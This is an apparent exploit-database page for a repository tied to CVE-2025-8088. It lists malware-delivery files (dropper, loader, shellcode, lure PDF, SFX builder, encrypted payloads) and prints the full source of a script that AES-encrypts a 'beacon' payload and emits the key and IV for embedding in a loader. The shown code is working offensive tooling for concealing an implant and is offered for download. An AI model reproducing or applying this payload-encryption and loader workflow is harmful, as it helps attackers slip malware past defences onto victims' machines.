Exploit databaseDownload repository ZIP
GH-9d8bf7b89f407a0fff790750df76b5d3
lewis-ricardo/amaranth-project
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files42
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
- ↑..Parent directory
- Makefile
- calc_shellcode.asm
- check_reloc.py
- client_fixed.exe.enc
- dropper.c
- dropper.exe
- encrypt.py
- ldr_upload.exe
- loader-release.exe
- loader.c
- loader.exe
- lure.pdf
- pack_payload.py
- package.zip
- packer.py
- payload-2.exe.enc
- payload.bin
- payload.bin.enc
- payload.runtimeconfig.json
- payload_raw.bin
- sfx_builder.py
- test_check.py
- test_check_exe.py
- test_clean.py
- test_dropper.py
- test_final.py
- test_payload.exe
- test_rerun_client.py
- test_schtask.py
- test_vm.py
- test_vm10.py
- test_vm2.py
- test_vm3.py
- test_vm4.py
- test_vm5.py
- test_vm6.py
- test_vm7.py
- test_vm8.py
- test_vm9.py
- tiny.bin
- tiny.c
- tiny.o
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
loader/encrypt.py
Python · 1,191 bytes#!/usr/bin/env python3
"""encrypt.py -- AES-256-CBC encrypt a binary file for the Loader.
Usage:
python encrypt.py --in beacon.bin --out beacon.enc
Generates a random AES key + IV and prints them for embedding in loader.c.
"""
import argparse, os, sys
from Crypto.Cipher import AES
def main():
p = argparse.ArgumentParser()
p.add_argument('--in', dest='infile', required=True)
p.add_argument('--out', dest='outfile', default=None)
args = p.parse_args()
key = os.urandom(32)
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
with open(args.infile, 'rb') as f:
plain = f.read()
# PKCS7 padding
pad = 16 - (len(plain) % 16)
plain += bytes([pad] * pad)
enc = cipher.encrypt(plain)
out = args.outfile or (args.infile + '.enc')
with open(out, 'wb') as f:
f.write(enc)
print(f'Encrypted: {args.infile} → {out} ({len(enc)} bytes)')
print()
print('Update loader.c with:')
print(f' BYTE aes_key[AES_KEY_SIZE] = {{ {",".join(f"0x{b:02x}" for b in key)} }};')
print(f' BYTE aes_iv[AES_IV_SIZE] = {{ {",".join(f"0x{b:02x}" for b in iv)} }};')
if __name__ == '__main__':
main()